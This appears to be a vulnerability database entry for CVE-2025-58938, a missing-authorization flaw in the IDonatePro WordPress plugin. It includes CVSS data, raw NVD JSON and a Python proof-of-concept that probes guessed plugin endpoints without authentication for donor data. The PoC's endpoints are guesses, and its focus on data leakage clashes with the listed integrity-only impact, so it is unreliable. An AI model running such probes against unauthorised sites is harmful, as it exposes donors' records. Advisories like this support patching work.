Security Vulnerability Report
中文
CVE-2025-58938 CVSS 7.5 HIGH

CVE-2025-58938

Published: 2025-12-18 08:16:01
Last Modified: 2026-04-27 20:16:21

Description

Missing Authorization vulnerability in ThemeAtelier IDonatePro idonate-pro allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects IDonatePro: from n/a through <= 2.1.9.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

IDonatePro <= 2.1.9 (所有版本至2.1.9均受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58938 IDonatePro Authorization Bypass PoC # Target: WordPress site with IDonatePro plugin <= 2.1.9 # Author: Security Researcher # Note: This PoC is for educational and authorized testing purposes only import requests import sys from urllib.parse import urljoin def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-58938""" # List of potentially vulnerable endpoints vulnerable_endpoints = [ '/wp-json/idonate/v1/donors', '/wp-json/idonate/v1/donations', '/wp-json/idonate/v1/export', '/wp-admin/admin-ajax.php?action=idonate_export_data', '/wp-admin/admin-ajax.php?action=idonate_get_donors' ] results = [] for endpoint in vulnerable_endpoints: url = urljoin(target_url, endpoint) try: # Send unauthenticated request response = requests.get(url, timeout=10, verify=False) # Check if we got unauthorized access or data returned if response.status_code == 200: # Check response content for sensitive data if 'donor' in response.text.lower() or 'donation' in response.text.lower(): results.append({ 'endpoint': endpoint, 'status': 'VULNERABLE', 'status_code': response.status_code, 'data_leaked': True }) else: results.append({ 'endpoint': endpoint, 'status': 'ACCESSIBLE', 'status_code': response.status_code, 'data_leaked': False }) elif response.status_code == 401: results.append({ 'endpoint': endpoint, 'status': 'PROTECTED', 'status_code': response.status_code }) except requests.exceptions.RequestException as e: results.append({ 'endpoint': endpoint, 'status': 'ERROR', 'error': str(e) }) return results def main(): if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Testing {target} for CVE-2025-58938") print(f"[*] Target plugin: IDonatePro <= 2.1.9\n") results = check_vulnerability(target) vulnerable_count = 0 for result in results: status = result['status'] endpoint = result['endpoint'] if status == 'VULNERABLE': print(f"[!] VULNERABLE: {endpoint}") print(f" Status Code: {result['status_code']}") print(f" Data Leaked: {result['data_leaked']}") vulnerable_count += 1 elif status == 'ACCESSIBLE': print(f"[*] ACCESSIBLE: {endpoint}") print(f" Status Code: {result['status_code']}") elif status == 'PROTECTED': print(f"[+] PROTECTED: {endpoint}") else: print(f"[-] ERROR on {endpoint}: {result.get('error', 'Unknown')}") print(f"\n[*] Summary: {vulnerable_count}/{len(results)} endpoints vulnerable") if vulnerable_count > 0: print("\n[!] Target is vulnerable to CVE-2025-58938") print("[!] Recommendation: Update IDonatePro to version > 2.1.9") else: print("\n[+] No obvious vulnerabilities detected") if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58938", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:01.453", "lastModified": "2026-04-27T20:16:20.763", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in ThemeAtelier IDonatePro idonate-pro allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects IDonatePro: from n/a through <= 2.1.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/idonate-pro/vulnerability/wordpress-idonatepro-plugin-2-1-9-broken-access-control-vulnerability-2?_s_id=cve", "source": "[email protected]"}]}}